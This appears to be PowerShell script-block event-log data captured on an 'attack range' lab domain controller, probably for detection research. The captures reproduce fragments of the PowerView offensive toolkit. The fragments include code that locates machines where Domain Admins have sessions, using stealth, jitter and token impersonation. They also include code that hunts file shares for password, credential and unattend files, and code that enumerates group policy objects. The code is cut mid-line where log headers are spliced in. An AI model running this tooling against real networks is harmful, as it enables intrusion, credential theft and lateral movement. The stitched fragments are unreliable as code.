[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[Parameter(ParameterSetName = 'UserGroupIdentity')]
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Alias('AllowDelegation')]
[Switch]
$UserAllowDelegation,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Parameter(ParameterSetName = 'ShowAll')]
[Switch]
$ShowAll,
[Switch]
$Stealth,
[String]
[ValidateSet('DFS', 'DC', 'File', 'All')]
$StealthSource = 'All',
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained }
if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem }
if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack }
if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName }
if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential }
$UserSearcherArguments = @{
'Properties' = 'samaccountname'
}
if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity }
if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter }
if ($PSBoundParameters['UserSearchBase']) { $UserSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['UserAdminCount']) { $UserSearcherArguments['AdminCount'] = $UserAdminCount }
if ($PSBoundParameters['UserAllowDelegation']) { $UserSearcherArguments['AllowDelegation'] = $UserAllowDelegation }
if ($PSBoundParameters['Server']) { $UserSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $UserSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $UserSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $UserSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $UserSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $UserSearcherArguments['Credential'] = $Credential }
$TargetComputers = @()
# first, build the set of computers to enumerate
if ($PSBoundParameters['ComputerName']) {
$TargetComputers = @($ComputerName)
}
else {
if ($PSBoundParameters['Stealth']) {
Write-Verbose "[Find-DomainUserLocation] Stealth enumeration using source: $StealthSource"
$TargetComputerArrayList = New-Object System.Collections.ArrayList
if ($StealthSource -match 'File|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for file servers'
$FileServerSearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $FileServerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $FileServerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerSearchBase']) { $FileServerSearcherArguments['SearchBase'] = $ComputerSearchBase }
if ($PSBoundParameters['Server']) { $FileServerSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $FileServerSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $FileServerSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $FileServerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $FileServerSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $FileServerSearcherArguments['Credential'] = $Credential }
$FileServers = Get-DomainFileServer @FileServerSearcherArguments
if ($FileServers -isnot [System.Array]) { $FileServers = @($FileServers) }
$TargetComputerArrayList.AddRange( $FileServers )
}
if ($StealthSource -match 'DFS|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for DFS servers'
# # TODO: fix the passed parameters to Get-DomainDFSShare
# $ComputerName += Get-DomainDFSShare -Domain $Domain -Server $DomainController | ForEach-Object {$_.RemoteServerName}
}
if ($StealthSource -match 'DC|All') {
Write-Verbose '[Find-DomainUserLocation] Querying for domain controllers'
$DCSearcherArguments = @{
'LDAP' = $True
}
if ($PSBoundParameters['Domain']) { $DCSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $DCSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['Server']) { $DCSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['Credential']) { $DCSearcherArguments['Credential'] = $Credential }
$DomainControllers = Get-DomainController @DCSearcherArguments | Select-Object -ExpandProperty dnshostname
if ($DomainControllers -isnot [System.Array]) { $DomainControllers = @($DomainControllers) }
$TargetComputerArrayList.AddRange( $DomainControllers )
}
$TargetComputers = $TargetComputerArrayList.ToArray()
}
else {
Write-Verbose '[Find-DomainUserLocation] Querying for all computers in the domain'
$TargetComputers = Get-DomainComputer @ComputerSearcherArguments | Select-Object -ExpandProperty dnshostname
}
}
Write-Verbose "[Find-DomainUserLocation] TargetComputers length: $($TargetComputers.Length)"
if ($TargetComputers.Length -eq 0) {
throw '[Find-DomainUserLocation] No hosts found to enumerate'
}
# get the current user so we can ignore it in the results
if ($PSBoundParameters['Credential']) {
$CurrentUser = $Credential.GetNetworkCredential().UserName
}
else {
$CurrentUser = ([Environment]::UserName).ToLower()
}
# now build the user target set
if ($PSBoundParameters['ShowAll']) {
$TargetUsers = @()
}
elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)"
if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
throw '[Find-DomainUserLocation] No users found to target'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$Sessions = Get-NetSession -ComputerName $Targetac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111955Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3848METER Include
Only return files/folders that match the specified array of strings,
i.e. @(*.doc*, *.xls*, *.ppt*)
.PARAMETER LastAccessTime
Only return files with a LastAccessTime greater than this date value.
.PARAMETER LastWriteTime
Only return files with a LastWriteTime greater than this date value.
.PARAMETER CreationTime
Only return files with a CreationTime greater than this date value.
.PARAMETER OfficeDocs
Switch. Search for office documents (*.doc*, *.xls*, *.ppt*)
.PARAMETER FreshEXEs
Switch. Find .EXEs accessed within the last 7 days.
.PARAMETER ExcludeFolders
Switch. Exclude folders from the search results.
.PARAMETER ExcludeHidden
Switch. Exclude hidden files and folders from the search results.
.PARAMETER CheckWriteAccess
Switch. Only returns files the current user has write access to.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
to connect to remote systems for file enumeration.
.EXAMPLE
Find-InterestingFile -Path "C:\Backup\"
Returns any files on the local path C:\Backup\ that have the default
search term set in the title.
.EXAMPLE
Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7)
Returns any files on the remote path \\WINDOWS7\Users\ that have the default
search term set in the title and were accessed within the last week.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\"
.OUTPUTS
PowerView.FoundFile
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.FoundFile')]
[CmdletBinding(DefaultParameterSetName = 'FileSpecification')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$Path = '.\',
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[Alias('SearchTerms', 'Terms')]
[String[]]
$Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'),
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastAccessTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$LastWriteTime,
[Parameter(ParameterSetName = 'FileSpecification')]
[ValidateNotNullOrEmpty()]
[DateTime]
$CreationTime,
[Parameter(ParameterSetName = 'OfficeDocs')]
[Switch]
$OfficeDocs,
[Parameter(ParameterSetName = 'FreshEXEs')]
[Switch]
$FreshEXEs,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeFolders,
[Parameter(ParameterSetName = 'FileSpecification')]
[Switch]
$ExcludeHidden,
[Switch]
$CheckWriteAccess,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Recurse' = $True
'ErrorAction' = 'SilentlyContinue'
'Include' = $Include
}
if ($PSBoundParameters['OfficeDocs']) {
$SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx')
}
elseif ($PSBoundParameters['FreshEXEs']) {
# find .exe's accessed within the last 7 days
$LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy')
$SearcherArguments['Include'] = @('*.exe')
}
$SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden']
$MappedComputers = @{}
function Test-Write {
# short helper to check is the current user can write to a file
[CmdletBinding()]Param([String]$Path)
try {
$Filetest = [IO.File]::OpenWrite($Path)
$Filetest.Close()
$True
}
catch {
$False
}
}
}
PROCESS {
ForEach ($TargetPath in $Path) {
if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$HostComputer = (New-Object System.Uri($TargetPath)).Host
if (-not $MappedComputers[$HostComputer]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential
$MappedComputers[$HostComputer] = $True
}
}
$SearcherArguments['Path'] = $TargetPath
Get-ChildItem @SearcherArguments | ForEach-Object {
# check if we're excluding folders
$Continue = $True
if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) {
Write-Verbose "Excluding: $($_.FullName)"
$Continue = $False
}
if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) {
$Continue = $False
}
if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) {
$Continue = $False
}
if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) {
$Continue = $False
}
if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) {
$Continue = $False
}
if ($Continue) {
$FileParams = @{
'Path' = $_.FullName
'Owner' = $((Get-Acl $_.FullName).Owner)
'LastAccessTime' = $_.LastAccessTime
'LastWriteTime' = $_.LastWriteTime
'CreationTime' = $_.CreationTime
'Length' = $_.Length
}
$FoundFile = New-Object -TypeName PSObject -Property $FileParams
$FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile')
$FoundFile
}
}
}
}
END {
# remove the IPC$ mappings
$MappedComputers.Keys | Remove-RemoteConnection
}
}
########################################################
#
# 'Meta'-functions start below
#
########################################################
function New-ThreadedFunction {
# Helper used by any threaded host enumeration functions
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[String[]]
$ComputerName,
[Parameter(Position = 1, Mandatory = $True)]
[System.Management.Automation.ScriptBlock]
$ScriptBlock,
[Parameter(Position = 2)]
[Hashtable]
$ScriptParameters,
[Int]
[ValidateRange(1, 100)]
$Threads = 20,
[Switch]
$NoImports
)
BEGIN {
# Adapted from:
# http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/
$SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault()
# # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState()
# force a single-threaded apartment state (for token-impersonation stuffz)
$SessionState.ApartmentState = [System.Threading.ApartmentState]::STA
# import the current session state's variables and functions so the chained PowerView
# functionality can be used by the threaded blocks
if (-not $NoImports) {
# grab all the current variables for this runspace
$MyVars = Get-Variable -Scope 2
# these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice
$VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true')
# add Variables from Parent Scope (current runspace) into the InitialSessionState
ForEach ($Var in $MyVars) {
if ($VorbiddenVars -NotContains $Var.Name) {
$SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes))
}
}
# add Functions from current runspace to the InitialSessionState
ForEach ($Function in (Get-ChildItem Function:)) {
$SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition))
}
}
# threading adapted from
# https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407
# Thanks Carlos!
# create a pool of maxThread runspaces
$Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host)
$Pool.Open()
# do some trickery to get the proper BeginInvoke() method that allows for an output queue
$Method = $Null
ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
$MethodParameters = $M.GetParameters()
if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') {
$Method = $M.MakeGenericMethod([Object], [Object])
break
}
}
$Jobs = @()
$ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"
# partition all hosts from -ComputerName into $Threads number of groups
if ($Threads -ge $ComputerName.Length) {
$Threads = $ComputerName.Length
}
$ElementSplitSize = [Int]($ComputerName.Length/$Threads)
$ComputerNamePartitioned = @()
$Start = 0
$End = $ElementSplitSize
for($i = 1; $i -le $Threads; $i++) {
$List = New-Object System.Collections.ArrayList
if ($i -eq $Threads) {
$End = $ComputerName.Length
}
$List.AddRange($ComputerName[$Start..($End-1)])
$Start += $ElementSplitSize
$End += $ElementSplitSize
$ComputerNamePartitioned += @(,@($List.ToArray()))
}
Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads"
ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
# create a "powershell pipeline runner"
$PowerShell = [PowerShell]::Create()
$PowerShell.runspacepool = $Pool
# add the script block + arguments with the given computer partition
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
if ($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
}
# create the output queue
$Output = New-Object Management.Automation.PSDataCollection[Object]
# kick off execution using the BeginInvok() method that allows queues
$Jobs += @{
PS = $PowerShell
Output = $Output
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
}
}
}
END {
Write-Verbose "[New-ThreadedFunction] Threads executing"
# continuously loop through each job queue, consuming output as appropriate
Do {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
}
Start-Sleep -Seconds 1
}
While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
$SleepSeconds = 100
Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
# cleanup- make sure we didn't miss anything
for ($i=0; $i -lt $SleepSeconds; $i++) {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
$Job.PS.Dispose()
}
Start-Sleep -S 1
}
$Pool.Dispose()
Write-Verbose "[New-ThreadedFunction] all threads completed"
}
}
function Find-DomainUserLocation {
<#
.SYNOPSIS
Finds domain machines where specific users are logged into.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
The found user list is compared against the target list, and any matches are
displayed. If -ShowAll is specified, all results are displayed instead of
the filtered set. If -Stealth is specified, then likely highly-trafficed servers
are enumerated with Get-DomainFileServer/Get-DomainController, and session
enumeration is executed only against those servers. If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER UserIdentity
Specifies onac7f965d-34de-40ad-9419-1215aebde7ed
4104132150x0111947Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3048ath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$GPOSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($GPOSearcher) {
if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
$GPOAdsPaths = @()
if ($SearcherArguments['Properties']) {
$OldProperties = $SearcherArguments['Properties']
}
$SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
$TargetComputerName = $Null
if ($PSBoundParameters['ComputerIdentity']) {
$SearcherArguments['Identity'] = $ComputerIdentity
$Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
if(-not $Computer) {
Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
}
$ObjectDN = $Computer.distinguishedname
$TargetComputerName = $Computer.dnshostname
}
else {
$SearcherArguments['Identity'] = $UserIdentity
$User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
if(-not $User) {
Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
}
$ObjectDN = $User.distinguishedname
}
# extract all OUs the target user/computer is a part of
$ObjectOUs = @()
$ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
if($_.startswith('OU=')) {
$ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
}
}
Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
if ($ObjectOUs) {
# find all the GPOs linked to the user/computer's OUs
$SearcherArguments.Remove('Properties')
$InheritanceDisabled = $False
ForEach($ObjectOU in $ObjectOUs) {
$SearcherArguments['Identity'] = $ObjectOU
$GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
# extract any GPO links for this particular OU the computer is a part of
if ($_.gplink) {
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$Parts = $_.split(';')
$GpoDN = $Parts[0]
$Enforced = $Parts[1]
if ($InheritanceDisabled) {
# if inheritance has already been disabled and this GPO is set as "enforced"
# then add it, otherwise ignore it
if ($Enforced -eq 2) {
$GpoDN
}
}
else {
# inheritance not marked as disabled yet
$GpoDN
}
}
}
}
# if this OU has GPO inheritence disabled, break so additional OUs aren't processed
if ($_.gpoptions -eq 1) {
$InheritanceDisabled = $True
}
}
}
}
if ($TargetComputerName) {
# find all the GPOs linked to the computer's site
$ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
$SearcherArguments['Identity'] = $ComputerSite
$GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular site the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
}
}
# find any GPOs linked to the user/computer's domain
$ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
$SearcherArguments.Remove('Identity')
$SearcherArguments.Remove('Properties')
$SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
$GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular domain the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
# restore the old properites to return, if set
if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
else { $SearcherArguments.Remove('Properties') }
$SearcherArguments.Remove('Identity')
$GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
# use the gplink as an ADS path to enumerate all GPOs for the computer
$SearcherArguments['SearchBase'] = $_
$SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
Get-DomainObject @SearcherArguments | ForEach-Object {
if ($PSBoundParameters['Raw']) {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$_
}
}
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match 'LDAP://|^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$GPOSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GPOSearcher) {
Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -match '{.*}') {
$IdentityFilter += "(name=$IdentityInstance)"
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(displayname=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)"
Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() }
else { $Results = $GPOSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$GPO = $_
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
